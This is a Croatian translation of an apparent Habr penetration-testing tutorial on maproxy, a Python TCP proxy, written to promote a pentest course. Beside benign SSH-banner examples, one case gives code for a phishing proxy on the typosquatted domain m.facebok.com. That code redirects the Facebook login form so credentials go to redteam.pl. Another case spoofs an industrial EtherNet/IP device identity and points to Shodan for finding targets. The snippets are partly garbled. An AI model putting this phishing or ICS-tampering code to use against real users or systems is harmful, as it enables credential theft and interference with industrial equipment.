Obrada mrežnih podataka u stvarnom vremenu

Prijevod članka pripremljen je uoči početka tečaja „Pentest. Praksa testiranja provale“.

Obrada mrežnih podataka u stvarnom vremenu

Sažetak

Različiti oblici procjene sigurnosti, od redovitog testiranja provale i Red Team operacija do hakiranja IoT/ICS uređaja i SCADA, podrazumijevaju rad s binarnim mrežnim protokolima, što u suštini znači presretanje i modifikaciju mrežnih podataka između klijenta i cilja. Sniffing mrežnog prometa nije složen zadatak, s obzirom da imamo alate kao što su Wireshark, Tcpdump ili Scapy, no modifikacija predstavlja zahtjevniji zadatak, jer će nam trebati specifičan sučelje za čitanje podataka, njihovo filtriranje, promjenu u stvarnom vremenu i vraćanje nazad na ciljni host gotovo u stvarnom vremenu. Dodatno, bilo bi idealno kada bi takav alat mogao automatski raditi s više paralelnih veza i imao mogućnost prilagodbe putem skripti.

Jednom sam otkrio alat koji se zove maproxy, dokumentacija mi je brzo dala do znanja da maproxy – upravo ono što mi treba. To je prilično jednostavan, svestran i lako prilagodljiv TCP proxy. Testirao sam ovaj alat na nekoliko prilično složenih aplikacija, uključujući ICS uređaje (koji generiraju puno paketa), da vidim može li raditi s mnogo paralelnih veza, i alat se dobro pokazao.

Ovaj članak će vas upoznati s obradom mrežnih podataka u stvarnom vremenu pomoću maproxy.

Pregled

Alat maproxy temelji se na Tornadu – popularnom i naprednom asinkronom mrežnom okviru na Pythonu.

Općenito, može raditi u nekoliko načina:

  • TCP:TCP – nešifrirane TCP veze;
  • TCP:SSL i SSL:TCP – s jednosmjernim šifriranjem;
  • SSL:SSL – dvostrano šifriranje.

Dostupna je kao biblioteka. Za brzi start možete iskoristiti primjerne datoteke koje prikazuju osnovne funkcije biblioteke:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Slučaj 1 – jednostavni dvosmjerni proxy

Osnovano na tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Po defaultu ProxyServer() prima dva argumenta – mjesto povezivanja i ciljani port. server.listen() prima jedan argument – port za slušanje dolazne veze.

Izvršavanje skripte:

# python tcp2tcp.py

Kako bismo proveli test, povezat ćemo se na lokalni SSH poslužitelj putem našeg proxy skripte koji sluša na 2222/tcp portu i povezuje se na standardni port 22/tcp SSH poslužitelja:

Obrada mrežnih podataka u stvarnom vremenu

Pozdravna poruka ukazuje da je naš primjer skripte uspješno proksirao mrežni promet.

Slučaj 2 – modifikacija podataka

Druga demo skripta logging_proxy.py idealna je za interakciju s mrežnim podacima. komentari u datoteci opisuju metode klase koje možete modificirati kako biste postigli svoj cilj:

Obrada mrežnih podataka u stvarnom vremenu

Najzanimljivije ovdje je:

  • on_c2p_done_read – za presretanje podataka na putu od klijenta do poslužitelja;
  • on_p2s_done_read – u suprotnom smjeru.

Pokušajmo promijeniti SSH pozdravnu poruku koju poslužitelj vraća klijentu:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Izvršite skriptu:

Obrada mrežnih podataka u stvarnom vremenu

Kao što vidite, klijent je bio zavaravan jer je ime SSH poslužitelja promijenjeno u «DumnySSH».

Obrada mrežnih podataka u stvarnom vremenu

Slučaj 3 – jednostavna phishing web stranica

Postoji beskonačan broj mogućnosti korištenja ovog alata. Ovaj put fokusirajmo se na nešto praktičnije iz područja operacija Red Team. Napravimo imitaciju landing stranice m.facebook.com i iskoristimo prilagođenu domenu s namjernom greškom, na primjer, m.facebok.com. U svrhu demonstracije samo pretpostavimo da je domena registrirana od nas.

Planiramo uspostaviti nešifriranu mrežnu vezu s našim proxy žrtvama i SSL streamom za Facebook poslužitelj (31.13.81.36). Da bi ovaj primjer funkcionirao, potrebno je zamijeniti HTTP header hosta i umetnuti ispravno ime domaćina, a također ćemo isključiti kompresiju odgovora kako bismo olakšali pristup njihovom sadržaju. Na kraju ćemo zamijeniti HTML formu kako bi se vjerodajnice za prijavu slale nama, umjesto Facebook poslužiteljima:

[…]
def on_c2p_done_read(self,data):
 # zamijeniti Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# onemogućiti kompresiju
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
 # djelomična zamjena odgovora
 data = data.replace("action=\"/login/\", "action=\"https://redteam.pl/\"")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Na kraju:

Obrada mrežnih podataka u stvarnom vremenu

Kao što možete vidjeti, uspješno smo zamijenili izvorni site.

Slučaj 4 – Oštećenje Ethernet/IP

Dugo sam se bavio industrijskim uređajima i softverom (ICS / SCADA), poput programabilnih kontrolera (PLC), modula za ulaz/izlaz, pogona, releja, programskih okruženja za ljestvice i mnogo više. Ovaj slučaj je za one koji vole industrijske stvari. Hakerstvo ovakvih rješenja podrazumijeva aktivnu igru s mrežnim protokolima. U sljedećem primjeru želim pokazati kako možete modificirati mrežni promet ICS/SCADA.

Za to će vam trebati sljedeće:

  • Mrežni sniffer, poput Wiresharka;
  • Ethernet/IP ili jednostavno SIP uređaj, možete ga pronaći putem usluge Shodan;
  • Naš skript je zasnovan na maproxy.

Prvo, pogledajmo kako izgleda tipičan identifikacijski odgovor iz CIP (Common Industrial Protocol):

Obrada mrežnih podataka u stvarnom vremenu

Identifikacija uređaja se vrši putem protokola Ethernet/IP, koji je proširena verzija Ethernet protokola za industrijske svrhe, obavija protokole kontrole, poput CIP-a. Namjeravamo izmijeniti istaknuto identifikacijsko ime koje je vidljivo na snimci zaslona «NI-IndComm za Ethernet» uz pomoć našeg proxy-skripta. Mogli bismo ponovo iskoristiti skript logging_proxy.py i slično modificirati metodu klase on_p2s_done_read, budući da želimo da na klijentu bude vidljivo drugo identifikacijsko ime.

Kod:

[…]
 def on_p2s_done_read(self,data):
 # djelomična zamjena odgovora

 # Provjera da li smo dobili poruku List Identity
     if data[26:28] == b'x0cx00':
         print('Dobiven odgovor, zamjena')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

U suštini, zatražili smo identifikaciju uređaja dvaput, drugi odgovor je originalan, dok je prvi izmijenjen u hodu.

I na kraju

po mom mišljenju maproxy praktičan i jednostavan alat, koji je dodatno napisan u Pythonu, tako da mislim da i vi možete imati koristi od njegove upotrebe. Naravno, postoje složeniji alati za obradu i izmjenu mrežnih podataka, međutim, oni također zahtijevaju više pažnje i obično se kreiraju za specifične scenarije korištenja, na primjer, Muraena, Modlishka ili evilginx za slučajeve slične trećem, ili canape za posljednji slučaj. Kako god, uz pomoć maproxy možete brzo realizirati svoje ideje o presretanju mrežnih podataka, budući da su primjeri skripti vrlo jasni.

Testiranje mehanizama autentifikacije u Windows AD

Izvor: habr.com

Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere 🔥 Kupite pouzdan hosting za web stranice s DDoS zaštitom, VPS VDS servere | ProHoster